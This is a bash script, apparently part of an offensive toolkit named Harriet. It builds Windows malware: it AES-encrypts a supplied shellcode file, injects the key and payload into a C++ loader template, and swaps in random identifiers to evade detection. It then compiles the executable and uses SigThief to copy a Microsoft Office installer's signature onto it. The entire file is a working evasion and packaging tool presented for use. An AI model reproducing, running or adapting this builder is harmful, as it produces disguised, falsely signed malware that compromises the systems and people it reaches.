NativeAPI.sh 4.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119
  1. #!/bin/bash
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. ___ _____ _____ _____ _ _
  13. / _ \ | ___/ ___| | ___| | | | |
  14. / /_\ \| |__ \ `--. | |__ _ __ ___ _ __ _ _ _ __ | |_ ___ __| |
  15. | _ || __| `--. \ | __| '_ \ / __| '__| | | | '_ \| __/ _ \/ _` |
  16. | | | || |___/\__/ / | |__| | | | (__| | | |_| | |_) | || __/ (_| |
  17. \_| |_/\____/\____/ \____/_| |_|\___|_| \__, | .__/ \__\___|\__,_|
  18. __/ | |
  19. |___/|_|
  20. _ _ _ _ ___ ______ _____
  21. | \ | | | | (_) / _ \ | ___ \_ _|
  22. | \| | __ _| |_ ___ _____ / /_\ \| |_/ / | | ___
  23. | . ` |/ _` | __| \ \ / / _ \ | _ || __/ | |/ __|
  24. | |\ | (_| | |_| |\ V / __/ | | | || | _| |\__ \
  25. \_| \_/\__,_|\__|_| \_/ \___| \_| |_/\_| \___/___/
  26. credit: @VirtualAlllocEx
  27. https://github.com/VirtualAlllocEx/Direct-Syscalls-A-journey-from-high-to-low.git
  28. EOF
  29. echo -e ${green}"Enter The Path To Your Shellcode File. ex: /home/user/Downloads/shellcode.bin"${clear}
  30. echo ""
  31. read Shellcode
  32. echo ""
  33. echo -e ${green}"Name Your Malware! ex: malware.exe"${clear}
  34. echo ""
  35. read MALWARE
  36. echo ""
  37. cp Harriet/NativeAPI/template.cpp Harriet/NativeAPI/Resources/template.cpp
  38. echo -e ${yellow}"+++Encrypting Payload+++" ${clear}
  39. echo ""
  40. sleep 2
  41. python3 Harriet/NativeAPI/Resources/aesencrypt.py $Shellcode > shell.txt
  42. echo -e ${yellow}"***Encryption Completed***"${clear}
  43. echo ""
  44. cp shell.txt shell2.txt
  45. #Generate AES Key
  46. keys=$(cat "shell2.txt")
  47. cut -d 'p' -f1 shell2.txt > shell3.txt
  48. keys=$(cat shell3.txt)
  49. keysnow=${keys#*=}
  50. sed -i "s/KEYVALUE/$keysnow/g" Harriet/NativeAPI/Resources/template.cpp
  51. #Generate AES Payload
  52. payload=$(cat "shell.txt")
  53. payloadnow=${payload#*;}
  54. payloadtoday=${payloadnow#*=}
  55. echo $payloadtoday > shell5.txt
  56. perl -pe 's/PAYVAL/`cat shell5.txt`/ge' -i Harriet/NativeAPI/Resources/template.cpp
  57. sleep 2
  58. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-8} | head -n 1 > shell.txt
  59. Random1=$(cat shell.txt)
  60. sed -i "s/Random1/$Random1/g" Harriet/NativeAPI/Resources/template.cpp
  61. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-10} | head -n 1 > shell.txt
  62. Random2=$(cat shell.txt)
  63. sed -i "s/Random2/$Random2/g" Harriet/NativeAPI/Resources/template.cpp
  64. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-19} | head -n 1 > shell.txt
  65. Random3=$(cat shell.txt)
  66. sed -i "s/Random3/$Random3/g" Harriet/NativeAPI/Resources/template.cpp
  67. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-16} | head -n 1 > shell.txt
  68. Random4=$(cat shell.txt)
  69. sed -i "s/Random4/$Random4/g" Harriet/NativeAPI/Resources/template.cpp
  70. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-14} | head -n 1 > shell.txt
  71. Random5=$(cat shell.txt)
  72. sed -i "s/Random5/$Random5/g" Harriet/NativeAPI/Resources/template.cpp
  73. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-5} | head -n 1 > shell.txt
  74. Random6=$(cat shell.txt)
  75. sed -i "s/Random6/$Random6/g" Harriet/NativeAPI/Resources/template.cpp
  76. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-4} | head -n 1 > shell.txt
  77. Random7=$(cat shell.txt)
  78. sed -i "s/Random7/$Random7/g" Harriet/NativeAPI/Resources/template.cpp
  79. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-2} | head -n 1 > shell.txt
  80. Random8=$(cat shell.txt)
  81. sed -i "s/Random8/$Random8/g" Harriet/NativeAPI/Resources/template.cpp
  82. #VIRTUALALLOC VARIABLE NAME
  83. cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-11} | head -n 1 > shell.txt
  84. Random9=$(cat shell.txt)
  85. sed -i "s/Random9/$Random9/g" Harriet/NativeAPI/Resources/template.cpp
  86. echo -e ${yellow}"+++Compiling Malware+++"${clear}
  87. x86_64-w64-mingw32-g++ -o $MALWARE Harriet/NativeAPI/Resources/template.cpp -fpermissive -Wno-narrowing -O2>/dev/null 2>&1
  88. echo ""
  89. sleep 2
  90. rm shell*
  91. echo -e ${yellow}"***Malware Compiled***"${clear}
  92. echo ""
  93. sleep 2
  94. echo -e ${yellow}"+++Adding Binary Signature+++"${clear}
  95. echo ""
  96. sleep 2
  97. python3 Harriet/Resources/SigThief/sigthief.py -i Harriet/Resources/OfficeSetup.exe -t $MALWARE -o signed$MALWARE >/dev/null 2>&1
  98. mv signed$MALWARE $MALWARE
  99. echo -e ${yellow}"***Signature Added. Happy Hunting!**"${clear}
  100. echo ""